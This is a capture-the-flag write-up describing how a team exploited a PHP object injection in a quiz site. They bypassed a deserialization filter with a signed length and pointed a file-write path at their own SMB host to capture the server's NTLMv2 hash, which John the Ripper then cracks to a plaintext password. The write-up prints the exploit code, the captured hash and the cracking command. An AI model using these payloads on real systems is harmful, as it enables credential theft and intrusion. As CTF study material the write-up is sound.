This challenge was a cool real world scenario and we were the only team to solve it, so it’s a good excuse to do a writeup.

The challenge question was just an URL, after you visit it you can signup with username and email and start a quiz.

Among the quiz questions there were these two interesting strings:

Relax, here is the hint: [admin]
Great, here is the second hint: [source_882c1aaf3.zip]

Visiting /admin presented us a login page with a comment which allowed us to understand that the authentication was using LDAP.

In the source_882c1aaf3.zip we found the source code of all non admin pages: index.php, lib.php and quiz.php.

After a quick analysis we discovered a PHP Object Injection in quiz.php:

    if(isset($_POST['answer'])){

        $answer = (string)$_POST['answer'];
        $ck = base64_decode($_COOKIE['userinfo']);
        if(preg_match('/O:[0-9]+:"/',$ck)){ //Filter we need to bypass
            header("Location: quiz.php");
            die();
        }
        $userinfo = unserialize($ck); //Object Injection

        if(intval($_COOKIE['quiz_no']) > 19){
            $quiz = 'Each user needs to answer only 20 quizs! Please wait for response from us.';
        } elseif(is_array($userinfo)) {
            $tmp = new SaveAnswer($userinfo['username'],$userinfo['email'],$answer.PHP_EOL);
            $quiz = make_quiz($_COOKIE['quiz_no'], True);
        } else {
            die("Cannot get userinfo");
        }

    } else {
        $quiz = make_quiz($_COOKIE['quiz_no']);
    }

As you can see there is a filter we need to bypass to exploit it, as they are trying to prevent unserialization of PHP objects:

preg_match('/O:[0-9]+:"/',$ck)

However this filter can be bypassed by replacing the object length with a signed number (i.e. O:5:"Class":1:{s:5:"param";s:5:"value";} becomes O:+5:"Class":1:{s:5:"param";s:5:"value";})

Now it’s just a matter of finding the right object to unserialize to do some magic.

In lib.php we had an handy class which was included in quiz.php:

    class SaveAnswer {
        private $folder = 'C:\\Windows\\Temp\\';
        private $filename;
        private $anscontent;

        public function __construct($username, $email, $ans)
        {
            $this->filename = $username.'_'.str_replace(['@','.',' '],'_',$email);
            $this->anscontent = (string)$ans;
        }

        private function writeToFile($mode){
            $fullpath = $this->folder.$this->filename;

            if(!file_exists($fullpath.'.txt')){
                if(!preg_match('/^C:\x5cWindows\x5cTemp\x5c[a-zA-Z0-9\.\_]+$/i',$fullpath)){
                    return False;
                }
            }

            try{
                $file = fopen($fullpath.".txt", $mode);
                fwrite($file, $this->anscontent);
                fclose($file);
            } catch(Exception $e){
                return False;
            }
            return True;
        }

        public function __destruct()
        {
            $this->writeToFile("a+");
        }
    }

Cool, a class on a Windows Server which allowed us to write to a file and we could use the PHP Object Injection to instantiate this class with arbitrary parameters.

LET’S DANCE SAMBA

Windows has a very cool feature, when you try to access a link like \\ip\file it is so nice to send the NTLM hash of the current user along with the request to try to login via Samba, so what if we try to exploit the PHP Object Injection and request a file via Samba from our server and log the NTLM hash?

To build the right serialized object we used the following PHP code:

<?php

class SaveAnswer {
        private $folder = '\\\\our_ip_here\\';
        private $filename = 'jbz';
        private $anscontent = 'jbz';

        public function __construct($username, $email, $ans)
        {
            $this->filename = $username.'_'.str_replace(['@','.',' '],'_',$email);
            $this->anscontent = (string)$ans;
        }
    }
  
$exp = new SaveAnswer('jbz','jbzteam@outlook.com','jbz');

echo base64_encode(str_replace("O:","O:+",serialize($exp)));

After sending a request to quiz.php with the generated payload in the userinfo cookie, we received this in our Responder server.

[SMB] NTLMv2-SSP Client     : 35.185.189.153
[SMB] NTLMv2-SSP Username   : QUIZSERVER0\r0cky0u
[SMB] NTLMv2-SSP Hash       : r0cky0u::QUIZSERVER0:1122334455667788:11726B453AFF097DBE050E3BB1386C7F:0101000000000000E0B28CD37405D401C3BA5E9BF5910DCE0000000002000A0053004D0042003100320001000A0053004D0042003100320004000A0053004D0042003100320003000A0053004D0042003100320005000A0053004D0042003100320008003000300000000000000000000000003000000136927FA8611B32A37F4FD804F2D5B215872D9A9CC975CDDDE475B9AEBE2C000A001000000000000000000000000000000000000900200063006900660073002F0035002E0039002E003100310033002E003200310036000000000000000000

Now it was just a matter of launching John The Ripper with the rockyou wordlist and wait the admin password to appear and use it to login in the admin panel.

$ john --wordlist=/tmp/rockyou.txt /tmp/SMB-NTLMv2-SSP-35.185.189.153.txt
Using default input encoding: UTF-8
Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
BENGIjake=06     (r0cky0u)
1g 0:00:00:09 DONE (2018-06-18 19:13) 0.1023g/s 1167Kp/s 1167Kc/s 1167KC/s BIMBONA..BANDSTER
Use the "--show" option to display all of the cracked passwords reliably
Session completed

Congratulation the flag is: matesctf{1df0d456589907360141240ec0d4fb71cd36f1fc}